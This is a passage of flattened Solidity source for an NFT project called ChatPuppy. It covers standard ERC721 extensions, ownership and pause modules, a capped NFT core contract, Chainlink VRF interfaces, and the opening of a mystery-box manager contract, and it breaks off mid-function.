contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; address private _potentialOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event OwnerNominated(address potentialOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Returns the address of the current potentialOwner. */ function potentialOwner() public view returns (address) { return _potentialOwner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function nominatePotentialOwner(address newOwner) public virtual onlyOwner { _potentialOwner = newOwner; emit OwnerNominated(newOwner); } function acceptOwnership () public virtual { require(msg.sender == _potentialOwner, 'You must be nominated as potential owner before you can accept ownership'); emit OwnershipTransferred(_owner, _potentialOwner); _owner = _potentialOwner; _potentialOwner = address(0); } } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ abstract contract ERC721Burnable is Context, ERC721 { /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } } /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } /** * @dev ERC721 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC721Pausable is ERC721, Pausable { /** * @dev See {ERC721-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); require(!paused(), "ERC721Pausable: token transfer while paused"); } } /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } contract ChatPuppyNFTCore is Ownable, ERC721Enumerable, ERC721Burnable, ERC721Pausable { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private _tokenIdTracker; uint256 private _cap; struct Item { bytes32 dna; uint256 artifacts; } mapping(uint256 => Item) private _items; mapping(uint256 => string) private _tokenURIs; event CapUpdated(uint256 cap); event UpdateTokenURI(uint256 indexed tokenId, string tokenURI); event UpdateMetadata(uint256 indexed tokenId, bytes32 dna, uint256 artifacts); event UpdateMetadata(uint256 indexed tokenId, uint256 artifacts); constructor( string memory name_, string memory symbol_, uint256 initialCap_ ) ERC721(name_, symbol_) { require(initialCap_ > 0, "ChatPuppyNFTCore: cap is 0"); _updateCap(initialCap_); _tokenIdTracker.increment(); } function _mint(address to_, uint256 tokenId_) internal virtual override { require( ERC721Enumerable.totalSupply() < cap(), "ChatPuppyNFTCore: cap exceeded" ); super._mint(to_, tokenId_); } function _updateCap(uint256 cap_) private { _cap = cap_; emit CapUpdated(cap_); } function _beforeTokenTransfer( address from_, address to_, uint256 tokenId_ ) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable) { super._beforeTokenTransfer(from_, to_, tokenId_); } function exists(uint256 tokenId_) external view returns (bool) { return _exists(tokenId_); } function cap() public view returns (uint256) { return _cap; } function increaseCap(uint256 amount_) public onlyOwner { require(amount_ > 0, "ChatPuppyNFTCore: amount is 0"); uint256 newCap = cap() + amount_; _updateCap(newCap); } function mint(address to_) public onlyOwner returns (uint256) { // We cannot just use balanceOf to create the new tokenId because tokens // can be burned (destroyed), so we need a separate counter. uint256 _tokenId = _tokenIdTracker.current(); _mint(to_, _tokenId); _tokenIdTracker.increment(); return _tokenId; } /** * @dev Batch mint */ function mintBatch(address to_, uint256 amount_) public onlyOwner { require(amount_ > 0, "ChatPuppyNFT: amount_ is 0"); require(totalSupply() + amount_ <= cap(), "cap exceeded"); for (uint256 i = 0; i < amount_; i++) { mint(to_); } } /** * @dev Pauses all token transfers. * * See {ERC721Pausable} and {Pausable-_pause}. * * Requirements: * * - the caller must be owner. */ function pause() public virtual onlyOwner { _pause(); } /** * @dev Unpauses all token transfers. * * See {ERC721Pausable} and {Pausable-_unpause}. * * Requirements: * * - the caller must be owner. */ function unpause() public virtual onlyOwner { _unpause(); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId_) public view virtual override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId_); } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId_) public view virtual override returns (string memory) { require( _exists(tokenId_), "ChatPuppyNFTCore: URI query for nonexistent token" ); return _tokenURIs[tokenId_]; } function updateTokenMetaData(uint256 tokenId_, uint256 artifacts_) external onlyOwner { require(_exists(tokenId_), "ChatPuppyNFTCore: tokeId not exists"); Item storage _info = _items[tokenId_]; _info.artifacts = artifacts_; emit UpdateMetadata(tokenId_, artifacts_); } function updateTokenMetaData(uint256 tokenId_, uint256 artifacts_, bytes32 dna_) external onlyOwner { require(_exists(tokenId_), "ChatPuppyNFTCore: tokeId not exists"); Item storage _info = _items[tokenId_]; _info.artifacts = artifacts_; if (dna_ != 0 && _info.dna == 0) { _info.dna = dna_; } emit UpdateMetadata(tokenId_, dna_, artifacts_); } function updateTokenURI(uint256 tokenId_, string calldata uri_) external { require(_exists(tokenId_), "ChatPuppyNFTCore: tokeId not exists"); require((ownerOf(tokenId_) == _msgSender() && bytes(_tokenURIs[tokenId_]).length == 0) || _msgSender() == owner(), "ChatPuppyNFTCore: owner of nft can only set once, contract owner can set always"); _tokenURIs[tokenId_] = uri_; emit UpdateTokenURI(tokenId_, uri_); } function tokenMetaData(uint256 tokenId_) external view returns (bytes32 _dna, uint256 _artifacts, string memory _hexArtifacts) { _dna = _items[tokenId_].dna; _artifacts = _items[tokenId_].artifacts; _hexArtifacts = _items[tokenId_].artifacts.toHexString(); } } interface LinkTokenInterface { function allowance(address owner, address spender) external view returns (uint256 remaining); function approve(address spender, uint256 value) external returns (bool success); function balanceOf(address owner) external view returns (uint256 balance); function decimals() external view returns (uint8 decimalPlaces); function decreaseApproval(address spender, uint256 addedValue) external returns (bool success); function increaseApproval(address spender, uint256 subtractedValue) external; function name() external view returns (string memory tokenName); function symbol() external view returns (string memory tokenSymbol); function totalSupply() external view returns (uint256 totalTokensIssued); function transfer(address to, uint256 value) external returns (bool success); function transferAndCall( address to, uint256 value, bytes calldata data ) external returns (bool success); function transferFrom( address from, address to, uint256 value ) external returns (bool success); } interface VRFCoordinatorV2Interface { /** * @notice Get configuration relevant for making requests * @return minimumRequestConfirmations global min for request confirmations * @return maxGasLimit global max for request gas limit * @return s_provingKeyHashes list of registered key hashes */ function getRequestConfig() external view returns ( uint16, uint32, bytes32[] memory ); /** * @notice Request a set of random words. * @param keyHash - Corresponds to a particular oracle job which uses * that key for generating the VRF proof. Different keyHash's have different gas price * ceilings, so you can select a specific one to bound your maximum per request cost. * @param subId - The ID of the VRF subscription. Must be funded * with the minimum subscription balance required for the selected keyHash. * @param minimumRequestConfirmations - How many blocks you'd like the * oracle to wait before responding to the request. See SECURITY CONSIDERATIONS * for why you may want to request more. The acceptable range is * [minimumRequestBlockConfirmations, 200]. * @param callbackGasLimit - How much gas you'd like to receive in your * fulfillRandomWords callback. Note that gasleft() inside fulfillRandomWords * may be slightly less than this amount because of gas used calling the function * (argument decoding etc.), so you may need to request slightly more than you expect * to have inside fulfillRandomWords. The acceptable range is * [0, maxGasLimit] * @param numWords - The number of uint256 random values you'd like to receive * in your fulfillRandomWords callback. Note these numbers are expanded in a * secure way by the VRFCoordinator from a single random value supplied by the oracle. * @return requestId - A unique identifier of the request. Can be used to match * a request to a response in fulfillRandomWords. */ function requestRandomWords( bytes32 keyHash, uint64 subId, uint16 minimumRequestConfirmations, uint32 callbackGasLimit, uint32 numWords ) external returns (uint256 requestId); /** * @notice Create a VRF subscription. * @return subId - A unique subscription id. * @dev You can manage the consumer set dynamically with addConsumer/removeConsumer. * @dev Note to fund the subscription, use transferAndCall. For example * @dev LINKTOKEN.transferAndCall( * @dev address(COORDINATOR), * @dev amount, * @dev abi.encode(subId)); */ function createSubscription() external returns (uint64 subId); /** * @notice Get a VRF subscription. * @param subId - ID of the subscription * @return balance - LINK balance of the subscription in juels. * @return reqCount - number of requests for this subscription, determines fee tier. * @return owner - owner of the subscription. * @return consumers - list of consumer address which are able to use this subscription. */ function getSubscription(uint64 subId) external view returns ( uint96 balance, uint64 reqCount, address owner, address[] memory consumers ); /** * @notice Request subscription owner transfer. * @param subId - ID of the subscription * @param newOwner - proposed new owner of the subscription */ function requestSubscriptionOwnerTransfer(uint64 subId, address newOwner) external; /** * @notice Request subscription owner transfer. * @param subId - ID of the subscription * @dev will revert if original owner of subId has * not requested that msg.sender become the new owner. */ function acceptSubscriptionOwnerTransfer(uint64 subId) external; /** * @notice Add a consumer to a VRF subscription. * @param subId - ID of the subscription * @param consumer - New consumer which can use the subscription */ function addConsumer(uint64 subId, address consumer) external; /** * @notice Remove a consumer from a VRF subscription. * @param subId - ID of the subscription * @param consumer - Consumer to remove from the subscription */ function removeConsumer(uint64 subId, address consumer) external; /** * @notice Cancel a subscription * @param subId - ID of the subscription * @param to - Where to send the remaining LINK to */ function cancelSubscription(uint64 subId, address to) external; } /** **************************************************************************** * @notice Interface for contracts using VRF randomness * ***************************************************************************** * @dev PURPOSE * * @dev Reggie the Random Oracle (not his real job) wants to provide randomness * @dev to Vera the verifier in such a way that Vera can be sure he's not * @dev making his output up to suit himself. Reggie provides Vera a public key * @dev to which he knows the secret key. Each time Vera provides a seed to * @dev Reggie, he gives back a value which is computed completely * @dev deterministically from the seed and the secret key. * * @dev Reggie provides a proof by which Vera can verify that the output was * @dev correctly computed once Reggie tells it to her, but without that proof, * @dev the output is indistinguishable to her from a uniform random sample * @dev from the output space. * * @dev The purpose of this contract is to make it easy for unrelated contracts * @dev to talk to Vera the verifier about the work Reggie is doing, to provide * @dev simple access to a verifiable source of randomness. It ensures 2 things: * @dev 1. The fulfillment came from the VRFCoordinator * @dev 2. The consumer contract implements fulfillRandomWords. * ***************************************************************************** * @dev USAGE * * @dev Calling contracts must inherit from VRFConsumerBase, and can * @dev initialize VRFConsumerBase's attributes in their constructor as * @dev shown: * * @dev contract VRFConsumer { * @dev constructor(<other arguments>, address _vrfCoordinator, address _link) * @dev VRFConsumerBase(_vrfCoordinator) public { * @dev <initialization with other arguments goes here> * @dev } * @dev } * * @dev The oracle will have given you an ID for the VRF keypair they have * @dev committed to (let's call it keyHash). Create subscription, fund it * @dev and your consumer contract as a consumer of it (see VRFCoordinatorInterface * @dev subscription management functions). * @dev Call requestRandomWords(keyHash, subId, minimumRequestConfirmations, * @dev callbackGasLimit, numWords), * @dev see (VRFCoordinatorInterface for a description of the arguments). * * @dev Once the VRFCoordinator has received and validated the oracle's response * @dev to your request, it will call your contract's fulfillRandomWords method. * * @dev The randomness argument to fulfillRandomWords is a set of random words * @dev generated from your requestId and the blockHash of the request. * * @dev If your contract could have concurrent requests open, you can use the * @dev requestId returned from requestRandomWords to track which response is associated * @dev with which randomness request. * @dev See "SECURITY CONSIDERATIONS" for principles to keep in mind, * @dev if your contract could have multiple requests in flight simultaneously. * * @dev Colliding `requestId`s are cryptographically impossible as long as seeds * @dev differ. * * ***************************************************************************** * @dev SECURITY CONSIDERATIONS * * @dev A method with the ability to call your fulfillRandomness method directly * @dev could spoof a VRF response with any random value, so it's critical that * @dev it cannot be directly called by anything other than this base contract * @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method). * * @dev For your users to trust that your contract's random behavior is free * @dev from malicious interference, it's best if you can write it so that all * @dev behaviors implied by a VRF response are executed *during* your * @dev fulfillRandomness method. If your contract must store the response (or * @dev anything derived from it) and use it later, you must ensure that any * @dev user-significant behavior which depends on that stored value cannot be * @dev manipulated by a subsequent VRF request. * * @dev Similarly, both miners and the VRF oracle itself have some influence * @dev over the order in which VRF responses appear on the blockchain, so if * @dev your contract could have multiple VRF requests in flight simultaneously, * @dev you must ensure that the order in which the VRF responses arrive cannot * @dev be used to manipulate your contract's user-significant behavior. * * @dev Since the block hash of the block which contains the requestRandomness * @dev call is mixed into the input to the VRF *last*, a sufficiently powerful * @dev miner could, in principle, fork the blockchain to evict the block * @dev containing the request, forcing the request to be included in a * @dev different block with a different hash, and therefore a different input * @dev to the VRF. However, such an attack would incur a substantial economic * @dev cost. This cost scales with the number of blocks the VRF oracle waits * @dev until it calls responds to a request. It is for this reason that * @dev that you can signal to an oracle you'd like them to wait longer before * @dev responding to the request (however this is not enforced in the contract * @dev and so remains effective only in the case of unmodified oracle software). */ abstract contract VRFConsumerBaseV2 { error OnlyCoordinatorCanFulfill(address have, address want); address private immutable vrfCoordinator; /** * @param _vrfCoordinator address of VRFCoordinator contract */ constructor(address _vrfCoordinator) { vrfCoordinator = _vrfCoordinator; } /** * @notice fulfillRandomness handles the VRF response. Your contract must * @notice implement it. See "SECURITY CONSIDERATIONS" above for important * @notice principles to keep in mind when implementing your fulfillRandomness * @notice method. * * @dev VRFConsumerBaseV2 expects its subcontracts to have a method with this * @dev signature, and will call it once it has verified the proof * @dev associated with the randomness. (It is triggered via a call to * @dev rawFulfillRandomness, below.) * * @param requestId The Id initially returned by requestRandomness * @param randomWords the VRF output expanded to the requested number of words */ function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords) internal virtual; // rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF // proof. rawFulfillRandomness then calls fulfillRandomness, after validating // the origin of the call function rawFulfillRandomWords(uint256 requestId, uint256[] memory randomWords) external { if (msg.sender != vrfCoordinator) { revert OnlyCoordinatorCanFulfill(msg.sender, vrfCoordinator); } fulfillRandomWords(requestId, randomWords); } } contract ChatPuppyNFTManagerV2 is AccessControlEnumerable, VRFConsumerBaseV2, ItemFactoryManager { using EnumerableSet for EnumerableSet.UintSet; bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE"); bytes32 public constant CAP_MANAGER_ROLE = keccak256("CAP_MANAGER_ROLE"); bytes32 public constant CONTRACT_UPGRADER = keccak256("CONTRACT_UPGRADER"); bytes32 public constant NFT_UPGRADER = keccak256("NFT_UPGRADER"); ChatPuppyNFTCore public nftCore; // uint256 private projectId = 0; uint256 public boxPrice = 0; // Mystery Box type EnumerableSet.UintSet private _supportedBoxTypes; mapping(uint256 => uint256[]) private _randomWords;// _randomnesses; mapping(uint256 => uint256) private _requestIds; mapping(uint256 => uint256) private _tokenIds; VRFCoordinatorV2Interface public COORDINATOR; uint256 public randomFee = 0; address public feeAccount; bytes32 private _keyHash = 0xd4bb89654db74673a187bd804519e65e3f71a52bc55f11da7601a13dcf505314; uint32 private _callbackGasLimit = 500000; uint16 private _requestConfirmations = 3; // Minimum confirmatons is 3 uint64 private _subscriptionId; uint256[] public boxTypes = [2, 3, 4, 5, 6, 7]; // NFT Trait types bool public canBuyAndMint = true; bool public canUnbox = true; event UnboxToken(uint256 indexed tokenId, uint256 indexed requestId); event TokenFulfilled(uint256 indexed tokenId); constructor( address nftAddress_, address itemFactory_, uint256 boxPrice_, uint64 subscriptionId_, address vrfCoordinator_, bytes32 keyHash_, uint32 callbackGasLimit_, uint16 requestConfirmations_) VRFConsumerBaseV2(vrfCoordinator_) ItemFactoryManager(itemFactory_) { require(boxPrice_ > 0, "ChatPuppyNFTManager: box price can not be zero"); boxPrice = boxPrice_; nftCore = ChatPuppyNFTCore(nftAddress_); _supportedBoxTypes.add(1); // Mystery Box Type#1, Dragon _supportedBoxTypes.add(2); // Mystery Box Type#2, Weapon _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); _setupRole(PAUSER_ROLE, _msgSender()); _setupRole(CAP_MANAGER_ROLE, _msgSender()); _setupRole(MANAGER_ROLE, _msgSender()); _setupRole(CONTRACT_UPGRADER, _msgSender()); _setupRole(NFT_UPGRADER, _msgSender()); // Initialize VRFRandomGenerator COORDINATOR = VRFCoordinatorV2Interface(vrfCoordinator_); _subscriptionId = subscriptionId_; _keyHash = keyHash_; _callbackGasLimit = callbackGasLimit_; _requestConfirmations = requestConfirmations_; } modifier onlyTokenOwner(uint256 tokenId_) { require(nftCore.ownerOf(tokenId_) == _msgSender(), "ChatPuppyNFTManager: caller is not owner"); _; } modifier onlyMysteryBox(uint256 tokenId_) { (bytes32 _dna, ,) = nftCore.tokenMetaData(tokenId_); require(_dna == 0, "ChatPuppyNFTManager: token is already unboxed"); _; } modifier onlyExistedToken(uint256 tokenId_) { require(nftCore.exists(tokenId_), "ChatPuppyNFTManager: token does not exists"); _; } function _getBitMask(uint256 lsbIndex_, uint256 length_) private pure returns (uint256) { return ((1 << length_) - 1) << lsbIndex_; } function _clearBits( uint256 data_, uint256 lsbIndex_, uint256 length_) private pure returns (uint256) { return data_ & (~_getBitMask(lsbIndex_, length_)); } function _addArtifactValue( uint256 artifacts_, uint256 lsbIndex_, uint256 